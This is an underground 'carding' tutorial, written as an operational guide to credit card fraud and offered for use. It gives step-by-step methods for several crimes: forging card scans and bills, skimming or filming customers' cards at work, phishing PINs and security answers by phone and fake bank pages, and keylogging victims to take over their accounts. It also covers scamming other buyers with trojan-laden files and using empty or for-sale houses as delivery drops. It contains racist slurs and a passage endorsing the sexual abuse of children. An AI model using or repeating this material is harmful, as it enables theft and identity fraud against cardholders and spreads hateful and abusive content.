- The top one you need to look for on the site's TOS is that they send to any address and not just the one registered on the card (although you can easily get around this if they don't, with a COB, photoshopped verification (will go into detail later) or some social engineering over the phone).
- The next important to look for is if they have a visa verification code or mastercard secure code (most of the time if you ask your vendor they'll include them in your CVV2 details textfile), if they do have one of these you have to put in and you don't have them then don't waste your time
- If they ship internationally (for obvious reasons, but you can just stick to local websites and order to your local drop)
- If they leave packages at the door when no one's in, or around the back in a safe area (I know of one site in the UK that has all these qualities including this one, it is perfect for carding clothes)
- Also you can't forget to see what other security checks they need to do (if they need to call you up to verify or want a utility bill, passport or a scan of the actual CC)

It is hard to find websites online now that have most of these qualities, therefore we have to use COBs and photoshop to help us along the way, which is what I'll go into now.

Carding "non cardable websites" with fake CC scans and other fake documents
Okay so say you come across a site that will deliver to another house not registered on the card, but they want verificaton either through phone or scans of a utility bill, credit card or passport.

For this you'll want to get a pay as you go deal for a cheap shitty mobile all in fake details (say a nokia 3210, brick LMAO!), or you can use spoofcard.com to your advantage to help you. Hell if the person's details you're using is local to you and you're daring then go to their home and beige box from there; it'd be very convincing.

If they speak to you over the phone have all details in your mind about the item you're carding, have some bullshit story if you're having it sent to a diff address such as a family member's birthday and you need it there as quick as possible as it's a last minute thing, or some shit like that. If you're carding multiple sites at the same time it's easy to get them mixed up, so make sure who it is calling you 1st.

For CC scans and how to do them check the attachments at the end of this file, they explain so much better than I could. How you use them is once you've made them like the tuts have said to do, you then tilt them a little bit so it does actually look like a scan. To make it even more believable put some paper in the scanner (dark shade if you must), scan it and open in photoshop and then put the shopped CC scan of the front onto it and then do the same with the back, then send the scans to them via e-mail or post. Same goes for utility bills (can be got through trashing or your own, and then edited in PS).

Do not use the same designs when making your CC scans, otherwise it will become too obvious. To give you a head start on mastercards (what I recommend for n00bs to go for) I'm giving you a globe hologram image so you won't have to buy them in IRC; unfortunately all of my visa hologram pics are shit, but I'm working on getting a good one soon.

VISA hologram pic coming soon!

Carding whilst on the job
Getting CC, CVV, CVV2 through use of mobiles
Believe it or not giving your information out to anyone anywhere is not a wise choice, you can not trust anyone in this day and age. Yes there are carders working on the inside in places where there are a lot of people around flashing off their plastic cash and using them freely without a care in the world. The most common of places for a carder to work at are brand label clothing stores such as Limey's, Charlie Brown's and all the other trendy shops.

Ever noticed when yourself or someone else has paid at the desk with a debit card or credit card that they bring out a keypad from under the desk, then put your card into it and have the buyer input the pin? Think again when they take your credit card and go under the desk with it to get the keypad, they are doing more than just that; just because they're not taking the card and running off with it does not mean they're not stealing your information. A friend of my dad used to card and work in a clothing store, he used to have a piece of play doh stuck under the desk and he used to press the card onto the piece of play doh, unfortunately he began doing it too much and because he'd gotten away with it so many times he became careless and got caught out by a co worker and from what I know he is still doing time. The moral is, be careful with the play doh method. The unfortunate thing is you can only get the full info of 2 cards at the max, and you don't know exactly if you're pressing over the info of another card already put on to the play doh. Also you can't get the CVC through this method, I was just giving a classic example from the olden days.

But there is a new wonderful invention called cameras, video recording, and mobile phones and they are even all working on the same thing. It's best to test it out 1st and have a camera on your phone that is at least over 2 megapixel and allows long enough video recording times. The phone is set to video record and on a lighting if needed, and taped underneath the desk for you to record both sides of the card for all the information you need, as well as being quick you can get a lot more than 2 on, depending on how long

each recording lasts, you may need to start more than one recording.

You need good reason to be going under the desk to get the chip and pin machine, so make the desk look cluttered up and put shit in the way of everything, such as coat hangers and various other items; or you could just flat out bullshit the customer and say that the chip and pin machine on the desk isn't working so you need to get the other one, take their card and then go under searching the desk and quickly show it to the camera phone and then get the chip and pin machine and put the card in it and then hand to the customer to put in their pin as normal, unaware you have a CVV2 to later use when shopping online.

Skimming whilst on the job
For skimming you'll want a mini portable MSR500M reader that can be fitted on your waistline belt or of course once again under the desk, if you're a cashier. But you'll also want a MSR206 writer if you plan on writing the tracks to an embossed CR-80 piece of plastic later (you can make these yourself but embossers are expensive and it's an expensive procedure, so wait a while until you do that yourself and buy them from IRC (be careful, people like to rip with plastics, or you'll get shit quality if you don't watch out).

If you plan to just sell the dumps on IRC then that's fine, but you'll still need the PIN as well, so if you're a waiter you can get a cheeky peek at them putting their pin into the chip and pin device while you keep hold of it slightly (have them put the pin in while they're sat down and you're standing up). It's much easier to skim in a restaurant rather than clothing retail, as you don't have to think it out and set it up as much. You can keep the MSR500M in your front pocket of the uniform you're wearing and pretend to be giving the card a clean on the sleeve (bullshit and say the device won't read it), while really you're giving it a swipe into your reader. This way the person doesn't even get suspicious because you don't take their card out of sight with them. I guess you could do that technique with clothing retail too when you get their card in your dirty little hands, but peeking for the PIN is harder or you'll have to have a friend shoulder surf for it (or if they're on the next register have them use a sony cyber shot c902 camera phone and pretend to have them talking on the phone while really they're recording the person next to them putting in their PIN; cybershots are really inconspicuous looking with their cameras and VERY clear [5mpixel]).

I'll go into detail what to do with the dumps you have later in the instore carding section.

Using carbonless receipts to get details (pretty outdated method)
If the store you work at hasn't gone carbonless on the transactions information then you can get most of the info from the receipt you get a copy of for yourself and note down the pin on this as well when/if you get it.

Trashing
Trashing for receipts and credit reports (pretty outdated although still works)
Ever heard the expression "Another man's trash is another man's gold"? That's exactly what this is. You'd be surprised how many people haven't heard of a paper shredder or bonfire. They just dump their financial records containing SSN's/NI, full name, address, bank, credit card number, CVV, CVV2 etc. All on forms people couldn't be bothered to dispose of properly because they thought they were JUST old records. Again carders wok on the inside again for when they want to do trashing, a lot of janitors wear rags but you'd be surprised how secretly rich most of them are (along with the other shit they steal from work as well). But also from this if there is not enough info for you on the forms then there is definitely the phone number of the mark on the form that they've scrapped; almost always, and if not then there is enough info on their to look them up in the phone directory. Then of course you use social engineering skills over the phone to get the extra info that you need. If you know of a store that is not carbonless, then go trashing in the bins at the back of the store for the receipts with the credit card details on it.

Phishing over the phone
Phishing over the phone for details
Ever had telemarketers ask for your credit card info over the phone? (this is if you haven't already hung up by just hearing a nigger or paki on the phone) chances are they're a carder. Believe it or not there are

people actually stupid enough to fall for these obvious scams. Even more people fall for this if they believe that the caller is from the credit card company itself or part of the secret service or credit fraud investigations; the FBI, CIA and police have nothing at all to do with credit card fraud believe it or not. If you sound professional or part of an important group such as investigations then people are more likely to comply with you if they believe that their card has been used for credit fraud purposes and have to give their credit card info and billing address for verification. The best time to call up the mark is when they are at work as it'll take them by surprise and they'll be wanting to get it sorted asap so that they can get back to work. Also if it's "serious" then the secret service don't wait for you to finish work before they question you. Play along well to the part you're pretending to be. Some social engineering skills are required and you must gain the experience of lying to people yourself. Before calling up the person find out as much information about them as you can.

If you've stolen a CC from someone personally you can call them up pretending to be their bank and tell them there has been some suspicious charges made to the credit card from places such as South Africa, Nigeria, Turkey, Russia; places like that, get them to confirm their details (milk as much as you want out of them, ask them bullshit security questions such as their mother's maiden name, address, etc; you may as well, it'll make it easier to get a COB for you to use).

You can also get their PIN out of them if you want as well by either straight out asking them to confirm it, or be crafty and after you've told them to verify their PIN you're putting them through to a different department; then play some cheesy music down the phone for a few mins, have a female voice recording (use AV vocie changer) asking them to input their PIN on their dialpad (this won't be as suspicious); get these recorded so they can be decoded with DTMF decoding hardware/software later (although it's expensive). Guessing DTMF tones is pretty easy too, but you need to know what each tone sounds like, it's preferred to use decoding software to ensure you have it correct.

If you try hard enough you can get full info about anyone over the phone (I suggest using spoofcard for this).

Keylogging for CVV2s
Hardware keylogging
First of all it's best if you use hardware keyloggers here that you put into the keyboard of a computer belonging to an area where a lot of people are going online a lot and logging into e-mails, ebays, paypals etc, pretty much giving you enough info for you to go searching through if you get in their e-mails, or maybe you're lucky enough to get someone who is buying something online anyway. Get the keyloggers from here:
Code:
http://tyner.com/datalogger/keykatcher.htm
And come back within 2 days time or so and collect the keylogger after doing some browsing yourself (as to not look suspicious just coming in and then leaving a few seconds later).

Or of course you could set one up in a business and do the classic call in and do some social engineering from the credit card company or secret service and have them go to the bank online and have them log in to verify, or maybe even have them log in to a fake bank online made by yourself that will collect anyone's info who logs in on it.

Carding Instore
Instore carding is the act of skimming a credit card and writing the dumps and track1+2 to a CR-80 piece of plastic and then either cashing out at the ATM or shopping for goods instore, as long as you have the PIN as well through whatever method you choose to use.

How it's done is through the use of thejerm software or any other magstripe utility software (thejerm is the best to use). And you do it like this:
Written by: Acetrace

1. Load up thejerms software

2. hit settings tab

3. hit "Defaults" in Leading Zeros box

4. hit "75 bpi" in Set Track 2 density box

5. go bak to actions

6. hit LoCo or HiCo in Coercivity box, depending on which you want to do

7. input your tracks 1 & 2 (without the % ; or ? symbols because the program already does it for you)

8. hit Write Card and swipe your card. (i usually do a read card afterwards to make sure everything went ok)

9. GO SHOPPING!!!

Download thejerm from here:
Code:
PM ME FOR DOWNLOAD LINKS (OMNISCIENT)
I was a member of this site and it came from there so don't worry about it not being safe, I used this software a lot back in the day.

Now how you should act when you go carding instore is pretty much common sense, but some people get caught up in the moment with nerves, cockiness or just too much weird amounts of excitement.

Simple what you do, make sure you KNOW the PIN for the card you're using before you go, don't be stuck at the counter trying to remember it. If you're going to be carding expensive goods then dress smart for the occasion, wear brand named clothing (that you've previously carded) or even a suit. It would look suspicious someone with a hoodie going into a store and buying a Louis Vuitton watch, so walk in with style. When you go instore, you ACT like you are using your own card, because essentially that's what it is (well it is now anyway lol) no looking shifty and don't look at the fucking cameras; the cameras mean nothing anyway, they don't know your name or where you live, they're not being watched half of the time, so stop worrying about the fucking cameras; remember you're doing nothing wrong. When you go in, don't rush take your time, browse around some other items. Find the item you want to card and even ask the employee simple questions about it (if it's a TV or comp just ask questions about certain specs and if it's good for playing video games on). You'll be most nervous at the checkout, just act as normal as you always have been, don't make too much small talk but be polite and civil. Once you have the good sin your hands don't bolt out the door, just say thank you and then casually walk out the door, get to your car and then celebrate all you want.

Carding over the phone
Okay 1st of all do not be a dumb fuck now, do not call from your own phones at all. For extra lulz you could use a beige box and call from someone else's phone but that's a totally different game all together and is also a major felony to go agains tyou on the chance that you do get caught so we'll keep it simple and use a payphone (it's not AS risky to phreak these but the only recent red box tones I have are from the year 2007 and I'm pretty sure they'd have changed the system again...bastards, I'll check sometime though . The next day postage is said so that they have less time to look up details on the order. Some cards will have difficulty shipping to any address other than the billing address, but it doesn't hurt to try. If they start to question you then just answer the questions and talk your way around the situation with your social engineering skills; don't just run away from the questions or hang up straight away, otherwise that is cause for suspicion and they may investigate. If all goes well you should have your item of choice delivered to your drop location or a house of someone else's address who you don't know and call them up saying that you called up the store and they've sent the package to the wrong address and it is still sending there, and ask them if they could kindly keep and sign for the package and you'll pick it up after

work (this is a last resort and only to be tried if you're good at talking to people, which you should be if you're a carder). I recommend checking out the section on drops later on in this text.

I recommend using spoofcard for verification over the payphone, if they need to verify (if they won't send without some verification which is usually the case).

IRC
Services provided in IRC
IRC is the main gathering for fellow carders, scam artists and rippers. To put it in a nut shell, IRC is THE black market, unlike craigslist and eBay which are just black markets. You can get anything illegal off IRC from CP to warez to CC details (which is what we want).

To concentrate on carding though you can buy:
CVVs
CVV2s
SSNs
Utility bill scans
CC scans
COB (a service to get someone to call up the victim's bank and get the billing address changed to your drop)
Payment for using someone else's drop and then sending to you
Spyware
Fake ID/ ID scans
DUMPZ
Phisher pages

The list really is endless

There are a lot of advantages to using IRC networks and channels which I'll go into now:
- The channels are often underground and not known to many people, so they're harder to stumble upon by some random guy.
- The messages can be encrypted so they can't be read by anyone happening to be on the network sniffing the traffic. This makes it harder for investigators to uncover.
- Easier and quicker to communicate with mass amounts of like minded people.
- Variety of channels to go to if one doesn't suit you (there are MILLIONS and new ones being made every second, guaranteed).
- And of course a varity of services, if you need something you can bet someone from the other side of the world will be willing to share or/and sell to you.

There are a lot of disadvantages though, IRC is the equivalent of a backstreet alley, you'll be fine if you stay cautious, here's what you should be weary of:

- Viruses
- If you don't have strong anti viruses and firewalls you will get infected (no norton shit, kaspersky and NOD32 are what you want)
- Do not accept random .exes or any file for that matter
- It is easy to get ripped off, choose your forms of payments and who you deal with wisely

How to find carding channels (Will not go too much into this as there are secrets between fellow carders which we like people interested enough to find out for themselves)

Here is the most commonly asked question I get asked by n00bies and fellow carders; where do you find these channels?
If I'm being totally honest the best place to find out about them is through Nigerians; no bullshit that is

where I found out about a lot of the carder channels I used, also how I found out about forums and their IRCs too such as cardersplanet, darkmarket etc. How I found him out was just on a normal scam bait I was doing, it wasn't a long one, but in the end he tried phishing me so I tried back and we had a laugh about it; I was straight up with him and told him I wanted to get deeper into the game, I looked up to his type of people and wanted to get rich/successful (I also shared the double claim secret about paypal with him which got him trusting me a little bit) he then sent me an invite to cardersplanet (this site was full of Nigerians). Eventually I went in the IRC (admittedly got ripped a few times) then started vending myself under various diff nicknames, then moved onto different sites like darkmarket and cardingzone when I'd got invites for them (although cardingzone is shit it's good to get in the IRC for starting off, you'll get invited to better forums the more you hang out in IRC, trust me). Don't ask me for invites to cardingzone, I was banned for ripping (I didn't rip anyone :angry

The quicker way is to use these and search for certain keywords:
Code:
http://www.irclinux.org
http://www.irctrace.com
http://www.irclog.org
http://www.rcarchive.info
http://www.irc-chat-logs.com
http://www.irseek.com/
And of course don't forget google.

I'm only going to give you one clue for searching through google for a carding IRC, and that word is "undernet".

Fellow carders don't like revealing their IRCs, and for obvious reasons.

My advice is find a scammer through e-mail, and chat to him; be witty with it but be respectful to a fellow fraudster.

Vendors and how to approach them
Vendors are the people in IRC who are selling and providing the services for you. There are certain ways you should speak to vendors otherwise they're going to rip you (remember this is the black market, this is just like going up to a random drug dealer in the street and not knowing what you really want or what you're getting into; you'll get ripped off). Ask as many questions as possible of what you want to know, if you're buying a CVV2 ask to see proof of their details working (get them to make a small purchase somewhere; they should show you a before and after and the limits that are there on the card [there are methods out there of checking your balance; you can even get it through text/sms]. This is a market so remember there are more people that will be willing to buy from that vendor, it's open for all, you can get a full load of info including dumps for as low as ?3/$5, drops usually go for ?7; if someone is saying higher prices don't be afraid to haggle down to these prices or a little bit lower. COBs go for a little bit higher in ranges of ?15-?20 because the vendor needs to get full info on someone and then change the billing address through the bank to where ever your drop is.

Now when you go in the channel don't fucking say or request anything, shut up and see what the vendors are saying they have to offer and then send them a private message and talk to them. If any "vendor" messages you 1st trying to push onto you to buy from them then they're most likely a ripper; however don't piss off the rippers or assume someone is a ripper because you never know who is going to be there to help you out later on down the line or who might be pissed off enough to fuck you over.

I can't give any big advice on not getting ripped in IRC because you don't personally know anyone in there at all, you just have to take your chances (expect to get ripped your 1st few times going in there, just don't go to them again, because if they get away with it once they'll definitely try again if you go back to them).

DO NOT BUY ANY WU BUG(Western Union Bug); it is a massive ripper technique which is bullshit.

The WU BUG used to work but was patched a looong time ago, most of the time now you'll get nothing or you'll end up with a rootkit on your comp. Rippers always say ridiculous prices for these too such as $200+; but if someone says lower prices it's still bullshit and most likely a rootkit/trojan/keylogger going to be installed on your machine while you get some useless program that does nothing.

Ripping
Easy as hell to do, not much photoshop skills needed really either.

Bullshit and say you're selling full info (you're getting the info from fakenamegenerator.com or any credit card gen program; of course they don't fucking work), if they want to see proof just use your own legit CC or another stolen CC to buy something and show them proof of you buying it, except photoshop the details to that which you're going to be giving him later. Take payment through Western Union ONLY (since e-gold isn't around anymore), then just send him the bullshit info.

If they want the report to go to their phone via SMS then just spoof a text with an sms bomber saying some bullshit reports. Then get the payment via WU.

To get victims you message them 1st, message out in the whole channel 1st and then PM random buyers (look for ones requesting).

::::WU BUG::::
seriously this is bullshit, all people are doing are showing buyers fake screenshots made in PS or are actually making quick programs themselves and taking screens of them and then selling them, although essentially they're useless. You want to do this, but you want to actually send them a file as well, but bind a keylogger or trojan to it; not only can you rip them out of their cash to buy your infection but the info you get from spying on them will be so much more as well ranging from their info to other stolen CC info, you'll have a backdoor on what they do and can exploit it.

If you can't be bothered making fake screenshots then get them from other rippers trying to sell them, get them to show you pics, vids and info; then use it for yourself and rip some n00bs.

Phishing for Change of billing
A billing address is the details used for a person's bank account and most often their credit cards and everything else too, this includes their phone number too.

What a change of billing (COB) is in a nutshell is changing the billing address registered to the card to your drop address you're gonna be using. When you want to card BIG at various online websites the orders will look more legit that you're not sending it else where other than the one registered to the card (obviously after you've changed the billing address), meaning the delivery of your goods will be quicker and will require a lot less verification.

Most of the time you change the billing address over the phone but SOME banks will let you do it online; when you phone up to change it you use spoofcard.com or the pay as you go mobile phone you're going to be using when carding, or beige boxing

When changing the billing address you need to know as much info as possible about the person's billing address you're changing, because the bank is going to ask you 3 security questions you set (such as mother's maiden name) before they change it.

You can phish for details over the phone (see the phishin over the phone section above), however it's best to use keyloggers and phisher pages for this with a MIX of over the phone.

Use through phishing pages
2 methods here, 1 including over the phone, one isn't.

The method without the phone is to just send a ton of e-mails out to random people and send them a html

e-mail telling them they need to update their information before the account is suspended or their account with the bank will be cancelled, you have them go to a phisher page off the template and the phisher pages "requires" them to answer security questions like their mother's maiden name, their pet's name, you know those type of questions.

Another method is to call them up pretending to be the bank and saying there have been different ip ranges logging on their account and they need to confirm their details online, link them to the phisher page and have them fill in the details; have the phisher page redirect to the actual online bank's login page; then ask if they've done that over the phone, tell them to wait a minute while you confirm and check it all out, say it's all clear and tell them to log in, they'll think nothing of it and you now have the answers to their secret questions which you can give to the bank itself when you go to change the billing address.

Use through keylogging
This is my favourite method and what I told S_E last night in IRC.

You have a hardware (or software) keylogger set on someone's comp, use sock proxies when logging into their online bank account and then change their password, call them up pretending to be the bank and then get them to go to the actual online bank link and fill in their forgotten password options (answering secret questions) or of course get them to go to your phisher page and fill in the details (this is if you want to add more fields to get more info) then pretend to be checking it all over, then change their password again to some random letters and numbers and give it to them to log back in (it doesn't matter because they're keylogged and you'll get their new login if they change the password again anyway), you'll have all their info logged down too for you to answer your questions when you call the bank.

Best time to do all of this is around the 10th day of the month (people usually get their credit reports at the start of every month), this will give you plenty of time to card enough for the remaining days until they see they're not getting their reports coming to them anymore (if you're crafty you can pretend to have cancelled the online bank account for them after they've gave you the info you need to know; I used to do this method and keep it going without them knowing).

You need as much info as possible when calling up the bank to change the billing address.

Drops and what you need to know about them
Drops and what you need to know about them
What drop locations are and what they?re used for
Well simply a drop location is an abandoned house, or any house that is not under your name or any of your details. You can lead young children into these to make a sexy time with them, get items delivered to them that you want no one else to find about or risking finding, or just use it to squat in if you have no where else to go. Basically they are used in ways of keeping your nose clean and are used by mostly scam artists and sex offenders.

How to find a drop location
There are many ways of finding a drop location for use, whether it temporarily or permanently (although I suggest swapping and changing locations because my main last one I used got raided or broken into and is boarded up and too hot to use); I will suggest 3 ways on how you can find some for you to use.

One final tip is don?t bother going for houses that are boarded up at the front where it is visible to passers by (it?s okay if round the back is boarded up)

Way #1
As just mentioned you can go about it many different ways but one of the ways the way I prefer to go about it is you should be looking around some older housing estates and more ghetto areas (could also tie in with the sob story you feed to a paedophile/child predator you are possibly scamming). For example in Derby there is an area called Sinfin, but now there is 2 parts to it and they are New Sinfin and Old Sinfin. Old Sinfin is the are you would want to go to, because it?s older it?s most likely to be alot more houses abandoned or deemed unsafe (it?s bullshit).

Or if you were lucky like I once were then you could ask around your mates if there are any empty houses in their area. If there are then you?re in luck and can even have your friend keep tabs and watching over it for you and give you details so you can keep it all under wraps and safe. It may be alot riskier with neighbour hood watch morons, and nosey neighbours, but it?s still ideal and a little bit less suspicious than the abandoned houses in the older estates, and this is because the older estates usually have all abandoned houses close by, where as the odd one out covered with a street filled with inhabitants will seem less suspicious to the postman.

Way #2
Now this is a temporary way of finding a drop location, but is sometimes an effective ways and means of getting what you need but has a bit more risk to it; and personally is a way I have never used even till today.

Have you ever been eavesdropping on a conversation between a neighbour and one of their family member?s or friends?, or been down the pub and heard the common as muck chavs boasting about a holiday they are going away on for however long they say they?re going away for?

Well listen out for these type of conversations. Because them away on holiday means the house is most likely going to be empty for however long they?re going away for. So if you already know where they live then that?s great the job is made easier; if you know their first name and surname then look them up in the phone directory and find their address to go along with the number. If you don?t know where they live, or their name then just listen out to see if you can hear their names come up in conversation; just remember that if it?s in the pub it?s most likely local to it that they live, so you could easily find out by following them home and seeing.

Way #3
Possibly the safest, easiest way of finding, and quickest way to get a drop location.

Most areas have houses up for sale am I right?
Or houses that are up for bidding on, am I right?

Well they have a website with a full list of your local area(s) that have houses up for bidding on and for sale.

For example I would search Derbyhomefinders and look at the list on their site.

All of these houses are empty and often do not have a sign up outside them either (if they do then just take it down and hide it somewhere for the time being).

The advantage to using the lists to find the drop locations to use is it will usually say when the bid is up or if the house has been sold (this lets you know that it will not be ideal to use that certain house now it?s most likely to be inhabited) and will have the houses on there that are still being bidded on and that are still up for sale, these are the ones you want to be using.

The best thing about this though is that you have a full list of many different drops to use (like I said earlier it?s best to switch drop locations and use many different ones) and it is updated with new ones coming up and tells you full which ones are over and not usable.

You just need to know your agencies for housing and find their website.

Obtaining and using drop locations
You?re probably thinking now I?ve got/found one that?s great and everything but how the fuck do I keep it a secret?

for way 1

this much is obvious that you do not tell anyone except your partner if you?re doing a team bait, and 1 trustworthy friend to keep tabs on it if you are doing a bait on your own, and also the paedophile, but only when he asks. But there is alot more to it than that, also maintaining your abandoned house and making the postman think someone living there.

Appearance isn?t everything at all in any case and it isn?t for this either, but of course you try to make yourself look as best as you can. The same principles are applied to keeping an abandoned house; you should atleast try to get a new lock put on the door which you will also have a key for; just so that if any druggies go there before you then they will have a tougher time getting in (of course it?s ideal you don?t get somewhere known to druggies but this is an example of what use it could have) but also if there is a fucked up lock on a door then it?s pretty damn obvious only low life scum or some criminal(s) are using the place, so buy a new lock for the door and get it fitted on, whether you do it yourself or get assistance from a friend who knows what they are doing.

Now as for overgrowing plants and weeds, you can only do so much without being suspected. Do not use a lawn mower, use clippers and hack it as short as you can. It?s best to get all of this done when everyone is at work during the day time; but in reality it isn?t ideal at all and most criminals don?t tend to bother with this. Instead they will make it seem someone is in but is just too ill to do anything with the garden or is just a lazy fucker. They do this by often writing up a note and sticking it to the door or leaving it on the floor near the door saying something such as "No milk today please" or "Not in, please leave packages at post office".

Write a few letters to yourself aswell ready to come on the same day as the parcel, this will make it look like you get mail and not just the one off suspicious package now and then.

Now 2 alternatives, you can either get to the abandoned house and take the mail from the mailman while acting like you live there (you must look the part as lazy or disabled if you have ingrown plants in "your" garden) or you can leave a note saying to take any packages to the post office for pick up because you are at work or something along those lines.

One final rule is do not be in and out of the hideout everyday or whatever, visit probably 2 or 3 times a week.

Way 2
Now there are 2 ways to go about this; you can either just get to the house early in the morning a little bit just before the postman arrives and be at the house outside pretending you?re just about to leave and then sign for the package (if you need to) and collect it off the postman and then be on your way after he?s gone. Or if you?re good at bypassing alarms (I have a guide on burglary) or the house has no alarm then you could bump key in at night time (not recommended) or during the day time the day before when everyone else will be at work aswell, and hide out there for a bit (hell even take some food that is left in the fridge and feed yourself since you?re spending the rest of the day and early morning there). Basic rules are don?t have tv on too loud if at all, or if you do then put head phones on into the tv if it?s that old of a model, and leave everything how it was left an say upstairs so incase any neighbours or anyone looking after the house while the owners are away come in then you have time to hide.

Obviously if it?s a package you don?t have to sign for then you can stick up a note on the door early in the morning before the post man comes saying to leave it round the back or what ever excuse you wanna make up.

Way #3
Easy, just as previously except you don?t have to be as cautious and often the alarms are disabled for that time being anyway so you don?t have to worry as much if you bump key into it.

As also stated previously in this guide, if there are any up for bidding/for sale signs then take them down and just get them out of the way.

You can even go to this one the night before instead of day time because no one is hardly going to be watching over this unless it?s in a neighbourhood watch area (in which case you chose the wrong area anyway, you dumbass).

Some basic tips to keep in mind
-- Be there before the postman! can?t stress this enough, it?s too fucking obvious if you?re late.

-- When signing for packages, if you need to, then sign a fake signature (the sig can be any made up fake shit) with your hand that you don?t write with, so it?s harder to trace incase things go tits up later on down the line.

-- Take anything in any guide with a pinch of salt, things may be different circumstances for you and your situations; guides are to b

Carding Vocabulary/Chat

-CC's that start with number 3xxx-xxxx-xxxx-xxxx are AMEX (or AmericanExpress) and their cvv2 is with 4 digits (some RARE times with 3)
-CC's that start with number 4xxx-xxxx-xxxx-xxxx are VISA and their cvv2 is with 3 digits
-CC's that start with number 5xxx-xxxx-xxxx-xxxx are Mastercard and their cvv2 is with 3 digits
-CC's that start with number 6xxx-xxxx-xxxx-xxxx are Discover(or Novus) and their cvv2 is with 3 digits (some RARE times with 4)

Bank-emitent (Issuing bank) - bank which has issued the card

Billing address - the card owner address

Drop - innerman. His task is to receive the money or goods and, accordingly, to give the part of the earnings to you.

Biling - office, which has agreement with a bank. Also this office assumes payments for the cards.

Card bill - it's a Bank emitent card bill.

Bank-equirer - bank, in which the store opens the account.

Merchant account - bank account for accepting credit cards.

Merchant Bank - bank, through which occur the payments between the buyer and the salesman (frequently it is used as synonym "bank-equirer").

Cardholder - owner of the card.

Validity - suitability card using.

White plastic - a piece of the pure plastic, where the information is plot.

CR-80 - rectangular piece of pure white plastic (without the drawing image) with the size of a credit card

with the magnetic strip.

Transaction - charege to the credit card

POS terminal (Point Of Sale terminal) - reading card device, which stands at commercial point.

PIN-code - the sequence, which consists of 4-12 numbers. It is known only to the owner of card. By simple words password for the work with ATM and so on.

AVS - the card owner address checking. It is used for the confirmation of the card belonging exactly to its holder.

"Globe" - card holographic gluing with the image of two hemispheres (MasterCard).

Pigeon (hen) - card holographic gluing with the image of the flying pigeon (VISA).

Reader - information reading device for the readout from the magnetic strip of card.

Encoder - read/write device for the magnetic track of the card.

Embosser - card symbol extrusion device.

Card printer - card information printing device.

Exp.date - card validity period.

Area code - the first of 3 or 6 numbers of the card owner phone.

CVV2, cvv, cvn - 3 or 4 additional numbers, which stand at the end of the number of card.

ePlus - program for checking the cards.

BIN - first 6 numbers of the card number due to those it is possible to learn what bank issued out the card and what is the type of this card (ATM-card, credit, gold, etc.). Synonym of word "Prefix".

Chargeback - the cardholder's bank voids the removal of money from its card.

Dump - information, which is written to the magnetic strip of the card, it consists of 1,2 or 3 tracks.

Track (road) - a part of the dump with the specific information. Every 1-st track is the information about the owner of the card, 2-nd track - information about the owner of card, about the bank issued the card, etc. 3-rd track - it is possible to say - spare, it is used by stores for the addition of the points and other.

Slip - synonym to the word "cheque" (conformably to card settlings).

Card balance - money sum that finding on the card account.
MMN Mothers Maiden Name, important if you want to change the billing address

some terms:

Automated Clearing House (ACH) - the automated clearing house. The voluntary association of depositors, which achieves clearing of checks and electronic units by the direct exchange of means between the members of association.

Continuous Acqusition and Life-cycle Support (CALS) - the integrated system of the production guaranteeing, purchase and expluatation. This system makes possible to computerize all data about the

design, development, production, servicing and the propagation of the production.

Debit Card - Card, which resembles the credit card by the method of using, but making possible to realize direct buyer account debiting at the moment of the purchase of goods or service.

Delivery Versus Payment (DVP) - the system of calculations in the operations with the valuable papers, which ensures the mechanism, which guarantees that the delivery will occur only in the case of payment and at the moment of payment.

Direcht debit - payment levy method, mainly, with the repetitive nature (lease pay, insurance reward, etc.) with which the debitor authorizes his financial establishment to debit his current account when obtaining of calculation on payment from the indicated creditor.

Electronic Fund Transfer (EFT) - the remittance of means, initiated from the terminal, telephone or magnetic carrier (tape or diskette), by transfer of instructions or authorities to financial establishment, that concern to the debiting or crediting of the account (see Electronic Fund Transfer/Point of Sale - EFT/POS).

Electronic Fund Transfer/Point of Sale - EFT/POS - debiting from the electronic terminal, for the means transfer purpose from the account of a buyer into the payment on the obligations, which arose in the course of transaction at the point of sale.

Integrated Circuit (IC) Card - It is known also as chip card. Card equipped with one either several computer micros-chip or integrated microcircuits for identification and storing of data or their special treatment, utilized for the establishment of the authenticity of personal identification number (PIN), for delivery of permission for the purchase, account balance checking and storing the personal records. In certain cases, the card memory renewal during each use (renewed account balance).

Internet - the open world communication infrastructure, which consists of the interrelated computer networks and which provides access to the remote information and information exchange between the computers.

International Standardisation Organisation (ISO) - International organization, which carries out standardization, with the staff office in Geneva, Switzerland.

Magnetic Ink Character Recignition (MICR) - System, which ensures the machine reading of the information, substituted by magnetic inks in the lower part of the check, including the number of check, the code of department, sum and the number of account.

RSA - the coding and autentification technology, developed in 1977 in MIT by Rivest, Shamir and Adel'man, which subsequently opened their own company RSA Data Sechurity, Inc., purchased recently by the company Security Dynamics Technologies, Inc.

Real-Time Gross Settlement (RTGS) - the payment method, with which the transfer of means is achieved for each transaction in obtaining of instructions about the payment. Decrease the risk with the payment.

SSN (Social Security Number) - nine-digit number issued in US only to an individual. Its primary purpose is to track individuals for taxation purposes.

Smart Card - card equipped with integrated circuit and microprocessor, capable to carrying out the calculations.

System risk - the risk, with which the incapacity of one of the payment system participants either financial market participants as a whole to fullfill their obligations causes the incapacity of other participants or financial establishments to fulfill its obligations (including obligations regarding the realization of calculations in means transfer systems) properly. This failure can cause significant liquidity

or crediting problems and, as result, it can cause loss to the stability of financial markets (with the subsequent action on the level of economic activity).

Truncation - procedure, which makes it possible to limit the physical displacements of a paper document, in the ideal version, by the bank of the first presentation, by the replacement by electronic transfer of entire or part of the information, which is contained on this document (check).

Tipper - a machine designed for use with PVC plastic cards to create raised print. (basically a plastic card embosser)

COB - Change of billing. Used for online carding, to change the billing address of a card since Online Stores will only ship large items if the billing and shipping address match. You can obtain these from vendors in CP. Once you have this, you can easily change the card address to that of your drop so that the stores ship items to your drop, since the billing and shipping addresses will match.

DOB - Date of birth of the card owner

Carding Vocabulary/ TERMS

-CC's that start with number 3xxx-xxxx-xxxx-xxxx are AMEX (or AmericanExpress) and their cvv2 is with 4 digits (some RARE times with 3)
-CC's that start with number 4xxx-xxxx-xxxx-xxxx are VISA and their cvv2 is with 3 digits
-CC's that start with number 5xxx-xxxx-xxxx-xxxx are Mastercard and their cvv2 is with 3 digits
-CC's that start with number 6xxx-xxxx-xxxx-xxxx are Discover(or Novus) and their cvv2 is with 3 digits (some RARE times with 4)

Bank-emitent (Issuing bank) - bank which has issued the card

Billing address - the card owner address

Drop - innerman. His task is to receive the money or goods and, accordingly, to give the part of the earnings to you.

Biling - office, which has agreement with a bank. Also this office assumes payments for the cards.

Card bill - it's a Bank emitent card bill.

